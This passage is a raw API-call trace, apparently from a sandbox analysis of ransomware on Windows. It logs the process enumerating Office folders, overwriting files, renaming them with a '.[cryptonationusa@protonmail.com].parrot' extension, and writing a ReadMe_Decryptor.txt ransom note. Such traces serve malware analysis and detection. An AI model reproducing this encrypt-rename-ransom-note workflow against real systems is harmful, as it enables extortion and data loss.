(HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0236.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.418] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0236.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b958 | out: hHeap=0x5b0000) returned 1 [0236.418] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0236.418] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1 [0236.418] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1 [0236.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0236.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5ebbe0 [0236.418] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x5c2680 [0236.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebbe0 | out: hHeap=0x5b0000) returned 1 [0236.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0236.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b958 [0236.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0236.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0236.419] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0236.419] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.419] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0236.419] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0236.419] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0236.419] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0236.419] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0236.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0236.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x6586e8 [0236.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0236.419] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0236.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0236.419] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0236.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0236.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0236.424] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.425] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0236.425] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0236.425] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0236.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0236.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.426] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.426] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.428] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.428] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x176f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x176f, lpOverlapped=0x0) returned 1 [0236.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.429] GetLastError () returned 0x0 [0236.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0236.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0236.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0236.430] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0236.430] WriteFile (in: hFile=0x27c, lpBuffer=0x639240*, nNumberOfBytesToWrite=0x1888, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x639240*, lpNumberOfBytesWritten=0x18eed4*=0x1888, lpOverlapped=0x0) returned 1 [0236.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0236.435] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1887, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.435] CloseHandle (hObject=0x27c) returned 1 [0236.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x31c14a0 [0236.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0236.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0236.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0236.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0236.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0236.438] GetFileType (hFile=0x27c) returned 0x1 [0236.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0236.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.449] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.451] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.451] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x224, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x224, lpOverlapped=0x0) returned 1 [0236.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.451] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0236.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.451] GetLastError () returned 0x0 [0236.451] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.451] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0236.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0236.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0236.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0236.453] WriteFile (in: hFile=0x27c, lpBuffer=0x3150060*, nNumberOfBytesToWrite=0x348, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3150060*, lpNumberOfBytesWritten=0x18eed4*=0x348, lpOverlapped=0x0) returned 1 [0236.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0236.457] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x33c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0236.457] CloseHandle (hObject=0x27c) returned 1 [0236.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0236.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x31c14a0 [0236.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0236.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c14a0 | out: hHeap=0x5b0000) returned 1 [0236.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0236.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0236.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0236.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0236.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0236.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0236.462] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.462] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0236.463] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.463] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e, lpOverlapped=0x0) returned 1 [0236.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0236.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0236.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0236.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0236.463] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0236.463] GetLastError () returned 0x0 [0236.464] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0236.464] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0236.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0236.464] 